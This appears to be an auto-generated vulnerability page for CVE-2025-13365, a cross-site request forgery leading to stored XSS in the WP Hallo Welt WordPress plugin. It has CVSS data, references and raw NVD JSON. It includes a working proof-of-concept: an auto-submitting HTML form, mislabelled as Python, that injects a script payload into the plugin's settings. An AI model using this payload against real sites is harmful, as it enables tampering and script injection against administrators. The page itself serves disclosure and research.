CVE-2025-13365

Description

The WP Hallo Welt plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4. This is due to missing or incorrect nonce validation on the 'hallo_welt_seite' function. This makes it possible for unauthenticated attackers to update plugin settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Due to the insufficient input sanitization and output escaping, this can lead to Stored Cross-Site Scripting.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Hallo Welt plugin <= 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13365 - WP Hallo Welt Stored XSS -->
<html>
  <body>
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST">
      <input type="hidden" name="action" value="hallo_welt_seite" />
      <input type="hidden" name="hallo_welt_setting" value="<script>alert(document.cookie)</script>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13365
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13365
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13365/
[4] VulDB https://vuldb.com/cve/CVE-2025-13365
[5] https://plugins.trac.wordpress.org/browser/wp-hallo-welt/tags/1.4./hallowelt.php#L53
[6] https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L15
[7] https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L27
[8] https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L53
[9] https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L54
[10] https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L66
[11] https://www.wordfence.com/threat-intel/vulnerabilities/id/e422aa58-a335-4734-bbcd-d400bd44bc89?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13365", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:07.367", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Hallo Welt plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4. This is due to missing or incorrect nonce validation on the 'hallo_welt_seite' function. This makes it possible for unauthenticated attackers to update plugin settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Due to the insufficient input sanitization and output escaping, this can lead to Stored Cross-Site Scripting."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-hallo-welt/tags/1.4./hallowelt.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L15", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L27", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hallo-welt/trunk/hallowelt.php#L66", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e422aa58-a335-4734-bbcd-d400bd44bc89?source=cve", "source": "[email protected]"}]}}